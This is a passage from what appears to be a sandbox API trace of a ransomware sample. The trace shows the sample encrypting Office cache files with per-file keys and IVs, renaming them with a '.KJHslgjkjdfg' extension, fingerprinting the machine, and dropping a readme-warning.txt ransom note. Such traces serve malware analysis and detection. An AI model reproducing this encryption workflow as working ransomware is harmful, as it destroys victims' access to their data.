lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0165.038] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.038] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0165.038] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0165.038] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0165.055] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0165.062] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.062] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0165.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.064] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0165.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0165.065] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0165.069] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0165.072] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.072] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0165.073] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.073] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0165.073] CryptDestroyKey (hKey=0x2f18208) returned 1 [0165.073] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.073] SetEndOfFile (hFile=0x124) returned 1 [0165.076] GetProcessHeap () returned 0x2ef0000 [0165.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0165.076] GetProcessHeap () returned 0x2ef0000 [0165.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0165.076] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.kjhslgjkjdfg")) returned 1 [0165.898] CloseHandle (hObject=0x124) returned 1 [0165.899] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0165.900] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0165.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0165.901] GetProcessHeap () returned 0x2ef0000 [0165.901] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0165.901] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0165.901] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0165.901] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xa, lpOverlapped=0x0) returned 1 [0166.094] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.094] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.094] GetProcessHeap () returned 0x2ef0000 [0166.094] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0166.094] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0166.094] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.094] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0166.094] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.094] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.095] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.095] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.095] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.095] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x7976, lpOverlapped=0x0) returned 1 [0166.096] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x7980, dwBufLen=0x7980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x7980) returned 1 [0166.097] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x7980, lpOverlapped=0x0) returned 1 [0166.097] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.097] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.097] SetEndOfFile (hFile=0x124) returned 1 [0166.100] GetProcessHeap () returned 0x2ef0000 [0166.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0166.100] GetProcessHeap () returned 0x2ef0000 [0166.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.100] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0166.101] CloseHandle (hObject=0x124) returned 1 [0166.101] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0166.101] GetProcessHeap () returned 0x2ef0000 [0166.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.101] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0166.102] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.102] GetProcessHeap () returned 0x2ef0000 [0166.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0166.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.102] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0166.102] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.102] GetProcessHeap () returned 0x2ef0000 [0166.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0166.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.102] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0166.102] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.102] GetProcessHeap () returned 0x2ef0000 [0166.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0166.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.102] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0166.102] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.102] GetProcessHeap () returned 0x2ef0000 [0166.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0166.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.102] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0166.102] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.102] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0166.103] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0166.103] RegCloseKey (hKey=0x124) returned 0x0 [0166.103] GetProcessHeap () returned 0x2ef0000 [0166.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0166.103] GetProcessHeap () returned 0x2ef0000 [0166.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0166.103] GetProcessHeap () returned 0x2ef0000 [0166.103] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0166.103] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.103] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0166.103] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.103] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0166.103] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.103] GetProcessHeap () returned 0x2ef0000 [0166.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0166.103] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0166.104] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0166.104] GetProcessHeap () returned 0x2ef0000 [0166.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0166.104] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0166.104] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.104] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0166.105] CloseHandle (hObject=0x124) returned 1 [0166.106] GetProcessHeap () returned 0x2ef0000 [0166.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0166.106] GetProcessHeap () returned 0x2ef0000 [0166.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0166.106] GetProcessHeap () returned 0x2ef0000 [0166.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0166.106] GetProcessHeap () returned 0x2ef0000 [0166.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.106] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0166.106] GetProcessHeap () returned 0x2ef0000 [0166.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0166.106] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0166.106] GetProcessHeap () returned 0x2ef0000 [0166.106] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0166.106] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0166.122] GetProcessHeap () returned 0x2ef0000 [0166.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0166.122] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0166.122] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0166.123] GetProcessHeap () returned 0x2ef0000 [0166.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0166.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.131] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=1992192) returned 1 [0166.132] GetProcessHeap () returned 0x2ef0000 [0166.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.132] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.132] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.132] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.132] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.132] GetProcessHeap () returned 0x2ef0000 [0166.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.132] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.133] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.133] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.134] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.134] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.134] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.135] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.135] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.135] 